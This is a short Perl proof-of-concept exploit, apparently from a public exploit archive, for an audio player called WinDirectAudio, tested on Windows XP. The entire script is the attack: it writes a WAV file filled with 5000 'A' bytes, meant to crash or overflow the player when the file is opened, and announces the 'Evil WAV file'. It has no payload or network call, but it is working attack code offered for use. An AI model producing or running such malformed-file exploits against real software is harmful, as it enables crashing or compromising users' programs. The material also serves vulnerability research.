#/usr/bin/perl
#Title: WinDirectAudio(.WAV) PoC
#[+]Date : May 21,2010
#[+]version: v1.0
#[+]Author : ahwak2000
#[+]Contact: z.u5[at]hotmail.com
#[+]Geetz [2]: germaya_x
#[+]tested on: windows xp sp2&sp3 EN
#########################################
my $junk = "\x41" x 5000;
open(myfile,'>> ahwak2000.wav');
print myfile $junk."\r\n";
print "\nEvil WAV file created successfully.";